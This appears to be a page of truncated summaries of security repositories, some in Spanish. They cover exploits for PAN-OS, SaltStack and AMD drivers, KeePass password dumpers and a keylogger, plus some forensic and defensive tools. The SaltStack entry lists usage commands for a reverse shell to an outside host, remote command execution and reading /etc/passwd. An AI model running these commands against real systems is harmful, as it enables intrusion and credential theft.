templates

Report Templates Directory Structure notes: Script generate-directories.py grabs the current latest version of the VRT structure from GitHub and creates any missing directories. Does not remove or rename directories based on items removed from VRT. Script follows standard entry names and keeps...

PanOsExploitMultitool

PanOsExploitMultitool Herramienta múltiple de explotación y post-explotación para sistemas Palo Alto PAN-OS afectados por las vulnerabilidades CVE-2024-0012 y CVE-2024-9474 Durante la explotación temprana de las vulnerabilidades de ejecución remota de código CVE-2024-0012 y CVE-2024-9474, obtuve ...

CVE-2020-11651-PoC

CVE-2020-11651-PoC Repositorio que contiene un exploit para CVE-2020-11651 actualizado para funcionar con las últimas versiones de Python y manejar los errores de conexión. COPIA DEL README DEL REPOSITORIO ORIGINAL Original Repository Exploit PoC para CVE-2020-11651 y CVE-2020-11652 Este es un...

BSOD_bitlocker_recover

Herramienta de extracción de VMK de BitLocker Este script de Python te ayuda a extraer posibles Claves Maestras de Volumen VMK de BitLocker a partir de archivos de volcado de memoria, como los generados por una Pantalla Azul de la Muerte BSOD. Es una utilidad de línea de comandos diseñada para...

swarm

swarm v0.6.0 Inglés | 中文. Swarm es una herramienta modular de pruebas de penetración distribuida de código abierto que utiliza una cola de tareas distribuida para implementar la comunicación en un sistema modo maestro-esclavo y usa MongoDB para el almacenamiento de datos. Se compone de un marco...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2020-11651-poc

PoC exploit for CVE-2020-11651 and CVE-2020-11652 This is a proof of concept exploit based on the initial check script. Use it to verify you have successfully updated your Salt master servers to a release containing the required fixes. Thanks for F-Secure Labs for their research and reporting...

CVE-2020-11651

CVE-2020-11651 PoC para CVE-2020-11651 Requiere Python3 probado en 3.8 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optiona...

BruteForce-to-KeePass

BruteForce-to-KeePass This script complements the results obtained through the keepass-password-dumper tool when exploiting the CVE-2023-32784 vulnerability affecting KeePass. Description This script prompts the user to input a list of characters and a known suffix. It then generates a list of...

CVE-2023-24055

CVE-2023-24055 POC and Scanner for CVE-2023-24055 Use at your own risk! configscanner.py A simple Parser for the KeePass config file running unter Windows. The tool will open the directory %APPDATA%\Roaming\KeePass\KeePass.config.xml and will output all triggers. The triggers Execute command line...

avml

AVML Acquire Volatile Memory for Linux Summary A portable volatile memory acquisition tool for Linux. AVML is an X8664 userland volatile memory acquisition tool written in Rust, intended to be deployed as a static binary. AVML can be used to acquire memory without knowing the target OS distributi...

CVE-2020-12928

CVE-2020-12928 Código de explotación LPE Este repositorio es solo con fines educativos . demostración Referencias: https://h0mbre.github.io/RyzenMasterCVE/ https://movaxbx.ru/2020/10/14/cve-2020-12928-exploit-proof-of-concept-privilege-escalation-in-amd-ryzen-master-amdryzenmasterdriver-sys/...

EagleEye

EagleEye - host-based IDS and network monitoring system This is project needs a lot of work to be ready to use as it's my graduation project so it's not user-friendly, only for experienced users, beta version, and I published/made it only for educational purposes! EagleEye consists of two parts:...

keepass-password-dumper

Volcador de contraseña maestra de KeePass 2.X CVE-2023-32784 Actualización La vulnerabilidad fue asignada CVE-2023-32784 y corregida en KeePass 2.54. Gracias nuevamente a Dominik Reichl por su rápida respuesta y solución creativa. Aclaración: la contraseña debe escribirse en un teclado, no copiar...

keepass-exfil-forensics

KeePass Memory Exfiltration — Network Forensics Investigation Recovers exfiltrated data from PCAP traffic by reversing a hex → Base64 → XOR obfuscation chain used in a real DFIR CTF scenario TryHackMe, then exploits CVE-2023-32784 to recover a KeePass master password straight from a process memor...

qubes-core-admin

Qubes core, version 3 This is master branch of the Qubes OS core. API documentation is available: https://dev.qubes-os.org/projects/core-admin/en/latest/...

keepass_dump

Keepass-Dumper This is my PoC implementation for CVE-2023-32784 My version is a python port of @vdohney's PoC along with a few changes and additional features. Changes One change, was to use known strings that can be found within the dump file in order to more accurately jump to the location of t...

CVE-2023-20564

CVE-2023-20564 - PoC de Acceso a Memoria Física del Driver AMD Ryzen Master Resumen Este repositorio contiene una Prueba de Concepto PoC que demuestra la vulnerabilidad CVE-2023-20564 en el Driver AMD Ryzen Master. La vulnerabilidad permite a usuarios no privilegiados leer y escribir memoria físi...

keelog-bof

KeeLog Async BOF que captura la contraseña maestra de KeePass monitoreando la ventana de solicitud de desbloqueo. Cuando se detecta una base de datos de KeePass bloqueada, se instala un gancho de teclado de bajo nivel y se capturan las pulsaciones de teclas hasta que la ventana de solicitud...

chipwhisperer

ChipWhisperer | | Important Links Documentation | Tutorials | Forum | Store | NewAE ChipWhisperer 6.0: Repo Changes and Cleanup ChipWhisperer 6.0 is bringing many changes to the ChipWhisperer repository. The biggest one is a cleanup of the git history on both this repo and chipwhisperer-jupyter, ...